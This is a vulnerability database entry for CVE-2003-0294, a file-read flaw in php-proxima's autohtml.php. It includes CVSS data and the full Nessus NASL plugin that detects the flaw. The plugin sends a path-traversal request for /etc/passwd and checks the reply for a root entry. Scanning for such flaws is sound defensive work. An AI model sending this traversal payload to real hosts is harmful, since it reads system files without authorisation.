Vulnerabilities > CVE-2003-0294 - Remote Security vulnerability in PHP-Proxima 6.0

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
php-proxima
nessus

Summary

autohtml.php in php-proxima 6.0 and earlier allows remote attackers to read arbitrary files via the name parameter in a modload operation.

Vulnerable Configurations

Part Description Count
Application
Php-Proxima
2

Nessus

NASL familyCGI abuses
NASL idPHP_PROXIMA_FILE_READING.NASL
descriptionThe remote host is running php-proxima, a website portal. There is a flaw in this version that allows an attacker to read arbitrary files on the remote host.
last seen2020-06-01
modified2020-06-02
plugin id11630
published2003-05-14
reporterThis script is Copyright (C) 2003-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/11630
titlephp-proxima autohtml.php Arbitrary File Retrieval
code
#
# (C) Tenable Network Security, Inc.
#

# Ref:
#  From: "Mind Warper" <[email protected]>
#  To: [email protected]
#  Date: Thu, 15 May 2003 01:43:40 +0800
#  Subject: php-proxima Remote File Access Vulnerability



include("compat.inc");

if (description)
{
 script_id(11630);
 script_version ("1.14");
 script_cvs_date("Date: 2018/08/13 14:32:36");
 script_cve_id("CVE-2003-0294");

 script_name(english:"php-proxima autohtml.php Arbitrary File Retrieval");

 script_set_attribute(attribute:"synopsis", value:
"Arbitrary files can be run on the remote server." );
 script_set_attribute(attribute:"description", value:
"The remote host is running php-proxima, a website portal.

There is a flaw in this version that allows an attacker to read 
arbitrary files on the remote host." );
 script_set_attribute(attribute:"solution", value:
"None at this time - disable this CGI." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");


 script_set_attribute(attribute:"plugin_publication_date", value: "2003/05/14");
 script_set_attribute(attribute:"vuln_publication_date", value: "2003/05/14");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe",value:"cpe:/a:php-proxima:php-proxima");
script_end_attributes();

 script_summary(english:"Determines owl is installed");
 script_category(ACT_GATHER_INFO);
 script_family(english:"CGI abuses");
 script_copyright(english:"This script is Copyright (C) 2003-2018 Tenable Network Security, Inc.");
 script_dependencie("webmirror.nasl", "http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_require_keys("www/PHP");
 exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


port = get_http_port(default:80);

if(!can_host_php(port:port)) exit(0);


foreach d (cgi_dirs())
{
 r = http_send_recv3(method: "GET", item:d + "/autohtml.php?op=modload&mailfile=x&name=../../../../../../../../etc/passwd", port:port);
 if (isnull(r)) exit(0);
 res = strcat(r[0], r[1], '\r\n', r[2]);
 if(egrep(pattern:"root:.*:0:[01]:.*", string:res))
 	{
    	security_warning(port);
	exit(0);
	}
}